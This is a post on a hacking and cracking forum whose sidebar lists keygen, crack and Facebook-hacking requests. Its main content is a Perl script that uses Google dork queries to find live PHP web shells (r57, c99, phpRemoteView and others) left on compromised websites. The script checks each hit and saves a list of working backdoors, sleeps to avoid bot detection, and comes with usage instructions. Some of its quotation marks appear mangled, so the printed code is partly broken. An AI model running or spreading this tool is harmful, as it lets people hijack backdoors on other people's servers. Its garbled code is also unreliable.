Hell of Hackerz
Welcome to HELL OF HACKERZ

Login or Register for connect with us

Because many features only for registered users.

Now enjoy without verification....

Thanks

________________________________________
HELL OF HACKERZ
Administrator
Ady Blaze
www.twitter.com/LukistUnlucky

Hell of Hackerz

Learn hacking & cracking
 
HomeHell Of HackerzFAQSearchMemberlistUsergroupsRegisterLog inDownload
ChatBox
Subscribe our youtube channel to be updated with latest technology and techniques. Subscribe button is given on the left and right side. Thank you
Latest topics
» onlineshopingshirt.com Fake Company
06/03/18, 03:39 pm by Hacker iam

» Keygen, crack, serial
29/05/15, 10:14 pm by Karl Marx

» Hello everyone
19/04/15, 12:35 am by Hacker iam

» Keygen for Moneydance 2015
23/01/15, 10:02 pm by iota

» key gen request for Basic Inventory Control Desktop
19/01/15, 03:15 pm by dexterdidi

» Keygen request for paralog
30/11/14, 01:42 am by MarkV

» Microkinetics Turnmaster Pro 2014
07/10/14, 02:22 pm by Machine_Man

» Keygen for Forex Tester 2.9
03/10/14, 01:29 am by ocean7

» Make your Internet Download Manager for lifetime
24/08/14, 03:52 pm by Hacker iam

» Make your Internet Download Manager for lifetime
24/08/14, 03:50 pm by Hacker iam

» HACK FACEBOOK ID OFFER BY IMRAN
10/08/14, 03:11 pm by Hacker iam

» Ethical Hacking classes and many more courses
08/08/14, 06:43 pm by Hacker iam

» Ethical Hacking classes Gonna Start
08/08/14, 06:28 pm by Hacker iam

» Banned From Group On Facebook
19/07/14, 08:22 pm by Hacker iam

» Winpass 12 keygen needed
18/07/14, 01:34 am by lvilleda

» Simfatic Forms 4.0
11/06/14, 01:15 pm by kachi4gud

» SA Techietools
02/06/14, 10:34 pm by Hacker iam

» immo tool 3.2
16/05/14, 03:16 pm by adisby

» urgent help need. Pls create the keygen for DewanEja Pro 8
05/05/14, 03:34 am by hamizal

» Track my IMEI
27/04/14, 08:28 pm by rajesh

» Advanced WIFI hacker
20/03/14, 07:04 pm by wasam

» Enounce Myspeed windows Keygen Requires
16/03/14, 12:03 pm by devkaagra

» Can anyone provide keygen for below software ?
04/03/14, 12:04 pm by akmakm2005

» Flaming Cliffs 3 - Keygen request please
17/02/14, 02:58 pm by moejo

» CalMAN 5 Keygen
14/02/14, 12:22 pm by droid

» Clearscada license key request
10/02/14, 07:52 pm by mahpayma

» Huawei unlocker
04/01/14, 08:24 pm by dennis1990

» tack imei no. of mobile..
09/11/13, 08:09 pm by lawendy

» tack imei no. of mobile..
28/10/13, 04:47 pm by akki4all

» Alt-n Relayfax 7.0.6 keygen or activation patch
08/10/13, 03:43 am by fuggin

Learn hacking & cracking


Share | 
 

 PHP SHELL CODING BY GOOGLE

View previous topic View next topic Go down 
AuthorMessage
Mr. Khan

avatar

Posts : 60
Points : 124
Reputation : 0
Join date : 2011-02-08

PostSubject: PHP SHELL CODING BY GOOGLE   15/05/11, 12:22 am

Code:
#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;

usage() unless $ARGV[2];

my @searchTerm;
my @checkTerm;

if(lc($ARGV[0]) eq "r57") {
        push(@searchTerm, "inurl:r57.php");
        push(@searchTerm, ""[ phpinfo ]  [ php.ini ]  [ cpu ]  [ mem ]  [ users ]  [ tmp ]  [ delete ]"");
        push(@searchTerm, "intitle:r57shell");
        push(@checkTerm, "r57");
        push(@checkTerm, "safe_mode");
} elsif(lc($ARGV[0]) eq "c99") {
        push(@searchTerm, "inurl:c99.php");
        push(@searchTerm, ""Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout"");
        push(@searchTerm, "intitle:" - phpshell"");
        push(@searchTerm, "intitle:" - c99shell"");
        push(@checkTerm, "c99");
        push(@checkTerm, "Safe-mode");
} elsif(lc($ARGV[0]) eq "mys") {
        push(@searchTerm, ""Auto error traping enabled"");
        push(@searchTerm, "intitle:"MyShell 1.1.0 build 20010923"");
        push(@checkTerm, "MyShell");
        push(@checkTerm, "Echo commands");
} elsif(lc($ARGV[0]) eq "phs") {
        push(@searchTerm, "intitle:"PHP Shell 1.5"");
        push(@searchTerm, "intitle:"PHP Shell 1.6"");
        push(@searchTerm, "intitle:"PHP Shell 1.7"");
        push(@searchTerm, ""Enable stderr-trapping?"");
        push(@checkTerm, "PHP Shell");
        push(@checkTerm, "Choose new working");
} elsif(lc($ARGV[0]) eq "phm") {
        push(@searchTerm, ""PHPShell by Macker"");
        push(@searchTerm, ""[ Main Menu ]      [ PHPKonsole ]      [ Haxplorer ]"");
        push(@checkTerm, "Haxplorer");
        push(@checkTerm, "PHPKonsole");
} elsif(lc($ARGV[0]) eq "rem") {
        push(@searchTerm, "intitle:"phpRemoteView: "");
        push(@searchTerm, ""REMVIEW TOOLS"");
        push(@checkTerm, "phpRemoteView");
        push(@checkTerm, "perms");
}

if(!@searchTerm) {
        print "Error: [shell to find] is a unknown shell\n" and die;
}

my $outputOn;

if(lc($ARGV[1]) eq "on") {
        $outputOn = 1;
} elsif(lc($ARGV[1]) eq "off") {
        $outputOn = 0;
} else {
        print "Error: [screen output] must be "on" or "off"\n" and die;
}

my $outputFile;

if(index(lc($ARGV[2]), ".htm") > 0) {
        $outputFile = $ARGV[2];
} else {
        print "Error: [output HTML file] must be *.htm or *.html\n" and die;
}

open(FILEHANDLE, ">$outputFile");
print FILEHANDLE "<html><head><title>PHP Shell's</title></head><body>\n";
close FILEHANDLE;

my $userAgent = LWP::UserAgent->new;
$userAgent->agent("User-Agent=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5");

my @resultLinks;

foreach(@searchTerm) {
        print "
[*] Query for "$_"\n" if($outputOn == 1);
     
        my $isLastPage = 0;
     
        for(my $gPage = 0; ; $gPage++) {
                if($isLastPage == 1) { last; }
             
                my $gRequest =  HTTP::Request->new(GET => "http://www.google.de/search?q=$_&start=$gPage"."0");
                my $gResource = $userAgent->request($gRequest);
             
                if($gResource->is_success) {
                        my @gContent = split("<div class=g>", $gResource->content);
                        if(@gContent < 10) { $isLastPage = 1; };
                     
                        for(my $gPiece = 1; $gPiece < @gContent; $gPiece++) {
                                my $shellLink = substr($gContent[$gPiece], index($gContent[$gPiece], "href="") + 6);
                                $shellLink = substr($shellLink, 0, index($shellLink, """));
                             
                                print "
[*] Check status of site "$shellLink"\n" if($outputOn == 1);
                             
                                my $sRequest = HTTP::Request->new(GET => $shellLink);
                                my $sResource = $userAgent->request($sRequest);
                             
                                if($sResource->is_success) {
                                        if(index($sResource->content, $checkTerm[0]) != -1 && index($sResource->content, $checkTerm[1]) != -1) {
                                                open(FILEHANDLE, ">>$outputFile");
                                                print FILEHANDLE "Link: <a href="$shellLink">$shellLink</a><br>\n";
                                                print FILEHANDLE "Search Term: <i>$_</i><br><br>\n";
                                                close FILEHANDLE;
                                             
                                                print "[+] Found shell: $shellLink\n" if($outputOn == 1);
                                        } else {
                                                print "[-] No shell\n" if($outputOn == 1);
                                        }
                                } else {
                                        print "[-] Offline\n" if($outputOn == 1);
                                }
                        }
                     
                        sleep 20; #wait 20 seconds so google dont think we are a bot
                } else {
                        print "Unable to query google\n" and die;
                }
        }
}

open(FILEHANDLE, ">>$outputFile");
print FILEHANDLE "<br><br><center><small><a href="http://www.vx-dia.de.vu">Find PHP Shells via Google - by DiA/RRLF</a></small></center></body></html>";
close FILEHANDLE;

sub usage {
        print qq(
Find PHP Shells via Google - by DiA/RRLF (http://www.vx-dia.de.vu)
     
Usage:  perl $0 [shell to find] [screen output] [output HTML file]
                  [shell to find] can be:
                        r57 - find r57shell
                        c99 - find c99shell
                        mys - find MyShell
                        phs - find PHP Shell
                        phm - find PHPShell (Macker)
                        rem - find phpRemoteView
                  [screen output] can be:
                        on  - every step the script doas get printed on the screen
                        off - no output, the script just writes to the output file
                  [output HTML file] must be:
                        *.htm or *.html
                                                         
Example: perl $0 c99 on c99shells.htm
        perl $0 mys off manyshells.htm

)      and exit;
}
// http://www.bec0de.com
Back to top Go down
View user profile
 

PHP SHELL CODING BY GOOGLE

View previous topic View next topic Back to top 

 Similar topics

-
» Banner inquiry
» Sample UI Element file for google site.
» how to test search suggestions(ajax) in google?
» how to capture time/number of results in google results page
» using google chrome with selenium RC
Page 1 of 1

Permissions in this forum:You cannot reply to topics in this forum
Hell of Hackerz :: Tip and Tricks :: Todays fortune-

Similar topics

+
ChatBox
Free forum | © phpBB | Free forum support | Contact | Report an abuse | Forumotion.com